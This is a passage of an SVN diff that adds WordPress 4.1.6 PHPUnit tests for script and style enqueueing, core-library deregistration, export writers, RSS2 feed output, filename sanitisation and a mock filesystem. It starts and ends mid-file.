+		$contents = trim( file_get_contents( ABSPATH . WPINC . '/js/jquery/jquery.js' ) );
+		$noconflict = 'jQuery.noConflict();';
+		$end = substr( $contents, - strlen( $noconflict ) );
+		$this->assertEquals( $noconflict, $end );
+	}
+
+	/**
+	 * @ticket 22896
+	 *
+	 * @expectedIncorrectUsage wp_deregister_script
+	 */
+	function test_dont_allow_deregister_core_scripts_in_admin() {
+		set_current_screen( 'edit.php' );
+		$this->assertTrue( is_admin() ) ;
+		$libraries = array(
+			'jquery', 'jquery-core', 'jquery-migrate', 'jquery-ui-core', 'jquery-ui-accordion',
+			'jquery-ui-autocomplete', 'jquery-ui-button', 'jquery-ui-datepicker', 'jquery-ui-dialog',
+			'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-menu', 'jquery-ui-mouse',
+			'jquery-ui-position', 'jquery-ui-progressbar', 'jquery-ui-resizable', 'jquery-ui-selectable',
+			'jquery-ui-slider', 'jquery-ui-sortable', 'jquery-ui-spinner', 'jquery-ui-tabs',
+			'jquery-ui-tooltip', 'jquery-ui-widget', 'backbone', 'underscore',
+		);
+
+		foreach ( $libraries as $library ) {
+			// Try to deregister the script, which should fail.
+			wp_deregister_script( $library );
+			$this->assertTrue( wp_script_is( $library, 'registered' ) );
+		}
+
+		set_current_screen( 'front' );
+	}
+
+	/**
+	 * @ticket 24994
+	 */
+	function test_exclusion_of_sourcemaps() {
+		$contents = trim( file_get_contents( ABSPATH . WPINC . '/js/jquery/jquery.js' ) );
+		$this->assertFalse( strpos( $contents, 'sourceMappingURL' ), 'Presence of sourceMappingURL' );
+	}
+
+	/**
+	 * @ticket 28404
+	 */
+	function test_wp_script_is_dep_enqueued() {
+		wp_enqueue_script( 'jquery-ui-accordion' );
+
+		$this->assertTrue( wp_script_is( 'jquery', 'enqueued' ) );
+		$this->assertFalse( wp_script_is( 'underscore', 'enqueued' ) );
+
+		unset( $GLOBALS['wp_scripts'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/dependencies/scripts.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/dependencies/scripts.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/dependencies/scripts.php	(revision 33402)
@@ -0,0 +1,87 @@
+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_Scripts extends WP_UnitTestCase {
+	var $old_wp_scripts;
+
+	function setUp() {
+		parent::setUp();
+		$this->old_wp_scripts = isset( $GLOBALS['wp_scripts'] ) ? $GLOBALS['wp_scripts'] : null;
+		remove_action( 'wp_default_scripts', 'wp_default_scripts' );
+		$GLOBALS['wp_scripts'] = new WP_Scripts();
+		$GLOBALS['wp_scripts']->default_version = get_bloginfo( 'version' );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_scripts'] = $this->old_wp_scripts;
+		add_action( 'wp_default_scripts', 'wp_default_scripts' );
+		parent::tearDown();
+	}
+
+	/**
+	 * Test versioning
+	 * @ticket 11315
+	 */
+	function test_wp_enqueue_script() {
+		wp_enqueue_script('no-deps-no-version', 'example.com', array());
+		wp_enqueue_script('empty-deps-no-version', 'example.com' );
+		wp_enqueue_script('empty-deps-version', 'example.com', array(), 1.2);
+		wp_enqueue_script('empty-deps-null-version', 'example.com', array(), null);
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='http://example.com?ver=$ver'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com?ver=$ver'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com?ver=1.2'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+
+		$this->assertEquals($expected, get_echo('wp_print_scripts'));
+
+		// No scripts left to print
+		$this->assertEquals("", get_echo('wp_print_scripts'));
+	}
+
+	/**
+	 * Test the different protocol references in wp_enqueue_script
+	 * @global WP_Scripts $wp_scripts
+	 * @ticket 16560
+	 */
+	public function test_protocols() {
+		// Init
+		global $wp_scripts;
+		$base_url_backup = $wp_scripts->base_url;
+		$wp_scripts->base_url = 'http://example.com/wordpress';
+		$expected = '';
+		$ver = get_bloginfo( 'version' );
+
+		// Try with an HTTP reference
+		wp_enqueue_script( 'jquery-http', 'http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Try with an HTTPS reference
+		wp_enqueue_script( 'jquery-https', 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Try with an automatic protocol reference (//)
+		wp_enqueue_script( 'jquery-doubleslash', '//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Try with a local resource and an automatic protocol reference (//)
+		$url = '//my_plugin/script.js';
+		wp_enqueue_script( 'plugin-script', $url );
+		$expected  .= "<script type='text/javascript' src='$url?ver=$ver'></script>\n";
+
+		// Try with a bad protocol
+		wp_enqueue_script( 'jquery-ftp', 'ftp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+		$expected  .= "<script type='text/javascript' src='{$wp_scripts->base_url}ftp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+
+		// No scripts left to print
+		$this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+
+		// Cleanup
+		$wp_scripts->base_url = $base_url_backup;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/dependencies/styles.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/dependencies/styles.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/dependencies/styles.php	(revision 33402)
@@ -0,0 +1,209 @@
+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_Styles extends WP_UnitTestCase {
+	var $old_wp_styles;
+
+	function setUp() {
+		parent::setUp();
+		if ( empty( $GLOBALS['wp_styles'] ) )
+			$GLOBALS['wp_styles'] = null;
+		$this->old_wp_styles = $GLOBALS['wp_styles'];
+		remove_action( 'wp_default_styles', 'wp_default_styles' );
+		$GLOBALS['wp_styles'] = new WP_Styles();
+		$GLOBALS['wp_styles']->default_version = get_bloginfo( 'version' );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_styles'] = $this->old_wp_styles;
+		add_action( 'wp_default_styles', 'wp_default_styles' );
+		parent::tearDown();
+	}
+
+	/**
+	 * Test versioning
+	 * @ticket 11315
+	 */
+	function test_wp_enqueue_style() {
+		wp_enqueue_style('no-deps-no-version', 'example.com' );
+		wp_enqueue_style('no-deps-version', 'example.com', array(), 1.2);
+		wp_enqueue_style('no-deps-null-version', 'example.com', array(), null);
+		wp_enqueue_style('no-deps-null-version-print-media', 'example.com', array(), null, 'print');
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<link rel='stylesheet' id='no-deps-no-version-css'  href='http://example.com?ver=$ver' type='text/css' media='all' />\n";
+		$expected .= "<link rel='stylesheet' id='no-deps-version-css'  href='http://example.com?ver=1.2' type='text/css' media='all' />\n";
+		$expected .= "<link rel='stylesheet' id='no-deps-null-version-css'  href='http://example.com' type='text/css' media='all' />\n";
+		$expected .= "<link rel='stylesheet' id='no-deps-null-version-print-media-css'  href='http://example.com' type='text/css' media='print' />\n";
+
+		$this->assertEquals($expected, get_echo('wp_print_styles'));
+
+		// No styles left to print
+		$this->assertEquals("", get_echo('wp_print_styles'));
+	}
+
+	/**
+	 * Test the different protocol references in wp_enqueue_style
+	 * @global WP_Styles $wp_styles
+	 * @ticket 16560
+	 */
+	public function test_protocols() {
+		// Init
+		global $wp_styles;
+		$base_url_backup = $wp_styles->base_url;
+		$wp_styles->base_url = 'http://example.com/wordpress';
+		$expected = '';
+		$ver = get_bloginfo( 'version' );
+
+		// Try with an HTTP reference
+		wp_enqueue_style( 'reset-css-http', 'http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-http-css'  href='http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with an HTTPS reference
+		wp_enqueue_style( 'reset-css-https', 'http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-https-css'  href='http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with an automatic protocol reference (//)
+		wp_enqueue_style( 'reset-css-doubleslash', '//yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-doubleslash-css'  href='//yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with a local resource and an automatic protocol reference (//)
+		$url = '//my_plugin/style.css';
+		wp_enqueue_style( 'plugin-style', $url );
+		$expected  .= "<link rel='stylesheet' id='plugin-style-css'  href='$url?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with a bad protocol
+		wp_enqueue_style( 'reset-css-ftp', 'ftp://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-ftp-css'  href='{$wp_styles->base_url}ftp://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+		// No styles left to print
+		$this->assertEquals( '', get_echo( 'wp_print_styles' ) );
+
+		// Cleanup
+		$wp_styles->base_url = $base_url_backup;
+	}
+
+	/**
+	 * Test if inline styles work
+	 * @ticket 24813
+	 */
+	public function test_inline_styles() {
+
+		$style  = ".thing {\n";
+		$style .= "\tbackground: red;\n";
+		$style .= "}";
+		
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<style id='handle-inline-css' type='text/css'>\n";
+		$expected .= "$style\n";
+		$expected .= "</style>\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+		wp_add_inline_style( 'handle', $style );
+
+		// No styles left to print
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+	}
+
+	/**
+	 * Test if inline styles work with concatination
+	 * @global WP_Styles $wp_styles
+	 * @ticket 24813
+	 */
+	public function test_inline_styles_concat() {
+
+		global $wp_styles;
+
+		$wp_styles->do_concat = true;
+		$wp_styles->default_dirs = array( '/wp-admin/', '/wp-includes/css/' ); // Default dirs as in wp-includes/script-loader.php
+
+		$style  = ".thing {\n";
+		$style .= "\tbackground: red;\n";
+		$style .= "}";
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<style id='handle-inline-css' type='text/css'>\n";
+		$expected .= "$style\n";
+		$expected .= "</style>\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+		wp_add_inline_style( 'handle', $style );
+
+		wp_print_styles();
+		$this->assertEquals( $expected, $wp_styles->print_html );
+
+	}
+
+	/**
+	 * Test if multiple inline styles work
+	 * @ticket 24813
+	 */
+	public function test_multiple_inline_styles() {
+
+		$style1  = ".thing1 {\n";
+		$style1 .= "\tbackground: red;\n";
+		$style1 .= "}";
+		
+		$style2  = ".thing2 {\n";
+		$style2 .= "\tbackground: blue;\n";
+		$style2 .= "}";
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<style id='handle-inline-css' type='text/css'>\n";
+		$expected .= "$style1\n";
+		$expected .= "$style2\n";
+		$expected .= "</style>\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+		wp_add_inline_style( 'handle', $style1 );
+		wp_add_inline_style( 'handle', $style2 );
+
+		// No styles left to print
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+	}
+
+	/**
+	 * Test if a plugin doing it the wrong way still works
+	 *
+	 * @expectedIncorrectUsage wp_add_inline_style
+	 * @ticket 24813
+	 */
+	public function test_plugin_doing_inline_styles_wrong() {
+
+		$style  = "<style id='handle-inline-css' type='text/css'>\n";
+		$style .= ".thing {\n";
+		$style .= "\tbackground: red;\n";
+		$style .= "}\n";
+		$style .= "</style>";
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "$style\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+
+		wp_add_inline_style( 'handle', $style );
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+	}
+
+	/**
+	 * Test to make sure <style> tags aren't output if there are no inline styles.
+	 * @ticket 24813
+	 */
+	public function test_unnecessary_style_tags() {
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/export/functions.export.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/export/functions.export.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/export/functions.export.php	(revision 33402)
@@ -0,0 +1,43 @@
+<?php
+
+/**
+ * Test export functions
+ *
+ * @group export
+ * @ticket 22435
+ */
+class Test_WP_Export_Functions extends WP_UnitTestCase {
+	function setUp() {
+		if ( ! function_exists( 'wp_export' ) ) {
+			$this->markTestSkipped( "wp_export function doesn't exist" );
+		}
+
+		parent::setUp();
+	}
+	
+	function test_wp_export_returns_wp_error_if_the_writer_throws_Export_exception() {
+		$this->assertTrue( is_wp_error( wp_export( array( 'writer' => 'Test_WP_Export_Stub_Writer_Throws_Export_Exception' ) ) ) );
+	}
+
+	function test_wp_export_passes_the_exception_if_the_writer_throws_other_exception() {
+		$this->setExpectedException( 'Exception' );
+		wp_export( array( 'writer' => 'Test_WP_Export_Stub_Writer_Throws_Other_Exception' ) );
+	}
+
+}
+
+class Test_WP_Export_Stub_Writer_Throws_Export_Exception {
+	function __construct( $formatter ) {
+	}
+	function export() {
+		throw new WP_Export_Exception( 'baba' );
+	}
+}
+
+class Test_WP_Export_Stub_Writer_Throws_Other_Exception {
+	function __construct( $formatter ) {
+	}
+	function export() {
+		throw new Exception( 'baba' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/export/writers.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/export/writers.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/export/writers.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+
+/**
+ * Test WP_Export_*_Writer classes
+ *
+ * @group export
+ * @ticket 22435
+ */
+class Test_WP_Export_Writers extends WP_UnitTestCase {
+	function test_export_returner_returns_all_the_return_values() {
+		if ( ! class_exists( 'WP_Export_Returner' ) ) {
+			$this->markTestSkipped( "WP_Export_Returner class doesn't exist" );
+		}
+		$returner = new WP_Export_Returner( $this->get_x_formatter() );
+		$this->assertEquals( 'xxx' , $returner->export() );
+	}
+
+	private function get_x_formatter() {
+		$methods = array( 'before_posts', 'posts', 'after_posts' );
+		$formatter = $this->getMock( 'WP_Export_WXR_Formatter', $methods, array( null ) );
+		foreach( $methods as $method ) {
+			$return = 'posts' == $method? array( 'x' ) : 'x';
+			$formatter->expects( $this->once() )->method( $method )->with()->will( $this->returnValue( $return ) );
+		}
+		return $formatter;
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/feed/rss2.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/feed/rss2.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/feed/rss2.php	(revision 33402)
@@ -0,0 +1,166 @@
+<?php
+
+/**
+ * test the RSS 2.0 feed by generating a feed, parsing it, and checking that the
+ * parsed contents match the contents of the posts stored in the database.  Since
+ * we're using a real XML parser, this confirms that the feed is valid, well formed,
+ * and contains the right stuff.
+ *
+ * @group feed
+ */
+class Tests_Feed_RSS2 extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+
+		$this->factory->post->create_many( 25 );
+
+		$this->post_count = get_option('posts_per_rss');
+		$this->excerpt_only = get_option('rss_use_excerpt');
+		// this seems to break something
+		update_option('use_smilies', false);
+	}
+
+	function do_rss2() {
+		ob_start();
+		// nasty hack
+		global $post;
+		try {
+			@require(ABSPATH . 'wp-includes/feed-rss2.php');
+			$out = ob_get_clean();
+		} catch (Exception $e) {
+			$out = ob_get_clean();
+			throw($e);
+		}
+		return $out;
+	}
+
+	function test_rss() {
+		$this->go_to('/feed/');
+		$feed = $this->do_rss2();
+		$xml = xml_to_array($feed);
+
+		// get the rss element
+		$rss = xml_find($xml, 'rss');
+
+		// there should only be one rss element
+		$this->assertEquals(1, count($rss));
+
+		$this->assertEquals('2.0', $rss[0]['attributes']['version']);
+		$this->assertEquals('http://purl.org/rss/1.0/modules/content/', $rss[0]['attributes']['xmlns:content']);
+		$this->assertEquals('http://wellformedweb.org/CommentAPI/', $rss[0]['attributes']['xmlns:wfw']);
+		$this->assertEquals('http://purl.org/dc/elements/1.1/', $rss[0]['attributes']['xmlns:dc']);
+
+		// rss should have exactly one child element (channel)
+		$this->assertEquals(1, count($rss[0]['child']));
+	}
+
+	function test_channel() {
+		$this->go_to('/feed/');
+		$feed = $this->do_rss2();
+		$xml = xml_to_array($feed);
+
+		// get the rss -> channel element
+		$channel = xml_find($xml, 'rss', 'channel');
+
+		$this->assertTrue(empty($channel[0]['attributes']));
+
+		$title = xml_find($xml, 'rss', 'channel', 'title');
+		$this->assertEquals(get_option('blogname'), $title[0]['content']);
+
+		$desc = xml_find($xml, 'rss', 'channel', 'description');
+		$this->assertEquals(get_option('blogdescription'), $desc[0]['content']);
+
+		$link = xml_find($xml, 'rss', 'channel', 'link');
+		$this->assertEquals(get_option('siteurl'), $link[0]['content']);
+
+		$pubdate = xml_find($xml, 'rss', 'channel', 'lastBuildDate');
+		$this->assertEquals(strtotime(get_lastpostmodified()), strtotime($pubdate[0]['content']));
+	}
+
+	/**
+	 * @ticket UT32
+	 */
+	function test_items() {
+		$this->go_to('/feed/');
+		$feed = $this->do_rss2();
+		$xml = xml_to_array($feed);
+
+		// get all the rss -> channel -> item elements
+		$items = xml_find($xml, 'rss', 'channel', 'item');
+		$posts = get_posts('numberposts='.$this->post_count);
+
+		// check each of the items against the known post data
+		foreach ( $items as $key => $item ) {
+
+			// Get post for comparison
+			$guid = xml_find( $items[$key]['child'], 'guid' );
+			preg_match( '/\?p=(\d+)/', $guid[0]['content'], $matches );
+			$post = get_post( $matches[1] );
+
+			// title
+			$title = xml_find( $items[$key]['child'], 'title' );
+			$this->assertEquals( $post->post_title, $title[0]['content'] );
+
+			// link
+			$link = xml_find( $items[$key]['child'], 'link' );
+			$this->assertEquals( get_permalink( $post ), $link[0]['content'] );
+
+			// comment link
+			$comments_link = xml_find( $items[$key]['child'], 'comments' );
+			$this->assertEquals( get_permalink( $post) . '#comments', $comments_link[0]['content'] );
+
+			// pub date
+			$pubdate = xml_find( $items[$key]['child'], 'pubDate' );
+			$this->assertEquals( strtotime( $post->post_date_gmt ), strtotime( $pubdate[0]['content'] ) );
+
+			// author
+			$creator = xml_find( $items[$key]['child'], 'dc:creator' );
+			$user = new WP_User( $post->post_author );
+			$this->assertEquals( $user->user_login, $creator[0]['content'] );
+
+			// categories (perhaps multiple)
+			$categories = xml_find( $items[$key]['child'], 'category' );
+			$cats = array();
+			foreach ( get_the_category( $post->ID ) as $term ) {
+				$cats[] = $term->name;
+			}
+
+			$tags = get_the_tags( $post->ID );
+			if ( $tags ) {
+				foreach ( get_the_tags( $post->ID ) as $term ) {
+					$cats[] = $term->name;
+				}
+			}
+			$cats = array_filter( $cats );
+			// should be the same number of categories
+			$this->assertEquals( count( $cats ), count( $categories ) );
+
+			// ..with the same names
+			foreach ( $cats as $id => $cat ) {
+				$this->assertEquals( $cat, $categories[$id]['content']);
+			}
+
+			// GUID
+			$guid = xml_find( $items[$key]['child'], 'guid' );
+			$this->assertEquals('false', $guid[0]['attributes']['isPermaLink'] );
+			$this->assertEquals( $post->guid, $guid[0]['content'] );
+
+			// description/excerpt
+			if ( !empty( $post->post_excerpt ) ) {
+				$description = xml_find( $items[$key]['child'], 'description' );
+				$this->assertEquals( trim( $post->post_excerpt ), trim( $description[0]['content'] ) );
+			}
+
+			// post content
+			if ( !$this->excerpt_only ) {
+				$content = xml_find( $items[$key]['child'], 'content:encoded' );
+				$this->assertEquals( trim( apply_filters( 'the_content', $post->post_content ) ), trim( $content[0]['content'] ) );
+			}
+
+			// comment rss
+			$comment_rss = xml_find( $items[$key]['child'], 'wfw:commentRss' );
+			$this->assertEquals( html_entity_decode( get_post_comments_feed_link( $post->ID) ), $comment_rss[0]['content'] );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/file.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/file.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/file.php	(revision 33402)
@@ -0,0 +1,155 @@
+<?php
+
+/**
+ * @group file
+ */
+class Tests_File extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		$this->dir = dirname(tempnam('/tmp', 'foo'));
+
+		$this->badchars = '"\'[]*&?$';
+	}
+
+	/**
+	 * @group plugins
+	 * @group themes
+	 */
+	function test_get_file_data() {
+		$theme_headers = array(
+			'Name' => 'Theme Name',
+			'ThemeURI' => 'Theme URI',
+			'Description' => 'Description',
+			'Version' => 'Version',
+			'Author' => 'Author',
+			'AuthorURI' => 'Author URI',
+		);
+
+		$actual = get_file_data( DIR_TESTDATA . '/themedir1/default/style.css', $theme_headers );
+
+		$expected = array(
+			'Name' => 'WordPress Default',
+			'ThemeURI' => 'http://wordpress.org/',
+			'Description' => 'The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.',
+			'Version' => '1.6',
+			'Author' => 'Michael Heilemann',
+			'AuthorURI' => 'http://binarybonsai.com/',
+		);
+
+		foreach ( $actual as $header => $value )
+			$this->assertEquals( $expected[ $header ], $value, $header );
+	}
+
+	/**
+	 * @group plugins
+	 * @group themes
+	 */
+	function test_get_file_data_cr_line_endings() {
+		$headers = array( 'SomeHeader' => 'Some Header', 'Description' => 'Description', 'Author' => 'Author' );
+		$actual = get_file_data( DIR_TESTDATA . '/formatting/cr-line-endings-file-header.php', $headers );
+		$expected = array(
+			'SomeHeader' => 'Some header value!',
+			'Description' => 'This file is using CR line endings for a testcase.',
+			'Author' => 'A Very Old Mac',
+		);
+
+		foreach ( $actual as $header => $value )
+			$this->assertEquals( $expected[ $header ], $value, $header );
+	}
+
+	function is_unique_writable_file($path, $filename) {
+		$fullpath = $path . DIRECTORY_SEPARATOR . $filename;
+
+		$fp = fopen( $fullpath, 'x' );
+		// file already exists?
+		if (!$fp)
+			return false;
+
+		// write some random contents
+		$c = rand_str();
+		fwrite($fp, $c);
+		fclose($fp);
+
+		if ( file_get_contents($fullpath) === $c )
+			$result = true;
+		else
+			$result = false;
+
+		return $result;
+	}
+
+	function test_unique_filename_is_valid() {
+		// make sure it produces a valid, writable, unique filename
+		$filename = wp_unique_filename( $this->dir, rand_str() . '.txt' );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_is_unique() {
+		// make sure it produces two unique filenames
+		$name = rand_str();
+
+		$filename1 = wp_unique_filename( $this->dir, $name . '.txt' );
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename1) );
+		$filename2 = wp_unique_filename( $this->dir, $name . '.txt' );
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename2) );
+
+		// the two should be different
+		$this->assertNotEquals( $filename1, $filename2 );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename1);
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename2);
+	}
+
+	function test_unique_filename_is_sanitized() {
+		$name = rand_str();
+		$filename = wp_unique_filename( $this->dir, $name . $this->badchars .  '.txt' );
+
+		// make sure the bad characters were all stripped out
+		$this->assertEquals( $name . '.txt', $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_with_slashes() {
+		$name = rand_str();
+		// "foo/foo.txt"
+		$filename = wp_unique_filename( $this->dir, $name . '/' . $name .  '.txt' );
+
+		// the slash should be removed, i.e. "foofoo.txt"
+		$this->assertEquals( $name . $name . '.txt', $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_multiple_ext() {
+		$name = rand_str();
+		$filename = wp_unique_filename( $this->dir, $name . '.php.txt' );
+
+		// "foo.php.txt" becomes "foo.php_.txt"
+		$this->assertEquals( $name . '.php_.txt', $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+	function test_unique_filename_no_ext() {
+		$name = rand_str();
+		$filename = wp_unique_filename( $this->dir, $name );
+
+		$this->assertEquals( $name, $filename );
+
+		$this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+		unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/filesystem/base.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/filesystem/base.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/filesystem/base.php	(revision 33402)
@@ -0,0 +1,43 @@
+<?php
+
+/**
+ * This class is designed to make use of MockFS, a Virtual in-memory filesystem compatible with WP_Filesystem
+ */
+abstract class WP_Filesystem_UnitTestCase extends WP_UnitTestCase {
+	function setUp() {
+		add_filter( 'filesystem_method_file', array( $this, 'filter_abstraction_file' ) );
+		add_filter( 'filesystem_method', array( $this, 'filter_fs_method' ) );
+		WP_Filesystem();
+	}
+
+	function tearDown() {
+		global $wp_filesystem;
+		remove_filter( 'filesystem_method_file', array( $this, 'filter_abstraction_file' ) );
+		remove_filter( 'filesystem_method', array( $this, 'filter_fs_method' ) );
+		unset( $wp_filesystem );
+
+		parent::tearDown();
+	}
+
+	function filter_fs_method( $method ) {
+		return 'MockFS';
+	}
+	function filter_abstraction_file( $file ) {
+		return dirname( dirname( dirname( __FILE__ ) ) ) . '/includes/mock-fs.php';
+	}
+
+	function test_is_MockFS_sane() {
+		global $wp_filesystem;
+		$this->assertTrue( is_a( $wp_filesystem, 'WP_Filesystem_MockFS' ) );
+
+		$wp_filesystem->init('/');
+
+		// Test creation/exists checks
+		$this->assertFalse( $wp_filesystem->is_dir( '/test/' ) );
+		$wp_filesystem->mkdir( '/test' );
+		$this->assertTrue( $wp_filesystem->exists( '/test' ) );
+		$this->assertTrue( $wp_filesystem->is_dir( '/test/' ) );
+		$this->assertFalse( $wp_filesystem->is_file( '/test' ) );
+		//$this->assertFalse( true );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/filesystem/find_folder.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/filesystem/find_folder.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/filesystem/find_folder.php	(revision 33402)
@@ -0,0 +1,107 @@
+<?php
+
+/**
+ * @group filesystem
+ * @group wp-filesystem
+ */
+class WP_Filesystem_find_folder_UnitTestCases extends WP_Filesystem_UnitTestCase {
+
+	function test_ftp_has_root_access() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			/var/www/wordpress/
+			/var/www/wordpress/wp-includes/
+			/var/www/wordpress/index.php
+		');
+
+		$path = $fs->find_folder( '/var/www/wordpress/' );
+		$this->assertEquals( '/var/www/wordpress/', $path );
+
+		$path = $fs->find_folder( '/this/directory/doesnt/exist/' );
+		$this->assertFalse( $path );
+
+	}
+
+	function test_sibling_wordpress_in_subdir() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			/www/example.com/wordpress/
+			/www/example.com/wordpress/wp-includes/
+			/www/example.com/wordpress/index.php
+			/www/wp.example.com/wordpress/
+			/www/wp.example.com/wordpress/wp-includes/
+			/www/wp.example.com/wordpress/wp-content/
+			/www/wp.example.com/wordpress/index.php
+			/www/index.php
+		');
+
+		$path = $fs->find_folder( '/var/www/example.com/wordpress/' );
+		$this->assertEquals( '/www/example.com/wordpress/', $path );
+		
+		$path = $fs->find_folder( '/var/www/wp.example.com/wordpress/wp-content/' );
+		$this->assertEquals( '/www/wp.example.com/wordpress/wp-content/', $path );
+
+	}
+
+	/**
+	 * Two WordPress installs, with one contained within the other
+	 * FTP / = /var/www/example.com/ on Disk
+	 * example.com at /
+	 * wp.example.com at /wp.example.com/wordpress/
+	 */
+	function test_subdir_of_another() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			/wp.example.com/index.php
+			/wp.example.com/wordpress/
+			/wp.example.com/wordpress/wp-includes/
+			/wp.example.com/wordpress/index.php
+			/wp-includes/
